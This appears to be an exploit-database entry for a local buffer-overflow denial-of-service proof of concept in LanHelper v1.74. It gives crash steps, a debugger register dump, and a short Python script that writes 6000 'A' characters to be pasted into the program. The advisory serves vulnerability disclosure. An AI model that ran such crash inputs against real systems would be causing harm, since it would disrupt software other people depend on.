LanHelper v1.74 - Denial of Service (PoC)

vendor:

LanHelper

by:

Rafael Pedrero

7.8

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: LanHelper

Affected Version From: 1.74

Affected Version To: 1.74

Patch Exists: YES

Related CWE: N/A

CPE: a:hainsoft:lanhelper

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2019

LanHelper v1.74 – Denial of Service (PoC)

LanHelper v1.74 is vulnerable to a denial of service attack due to a local buffer overflow. An attacker can exploit this vulnerability by running LanHelper.exe, copying the content of LanHelper_Crash.txt or 6000 'A' characters to the clipboard, going to 'NT-Utilities' - 'Form Send Message' - 'Message' - 'Add' - 'Add target' and pasting the result from the python script, and then pasting the result from the python script in 'Message text:'. Clicking the 'Send' button will cause a crash.

Mitigation:

Upgrade to the latest version of LanHelper.

Source

Exploit-DB raw data:

# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same form.
# 5.- Click in Send button and you will see a crash.

'''
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD9000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

'''

#!/usr/bin/env python

crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()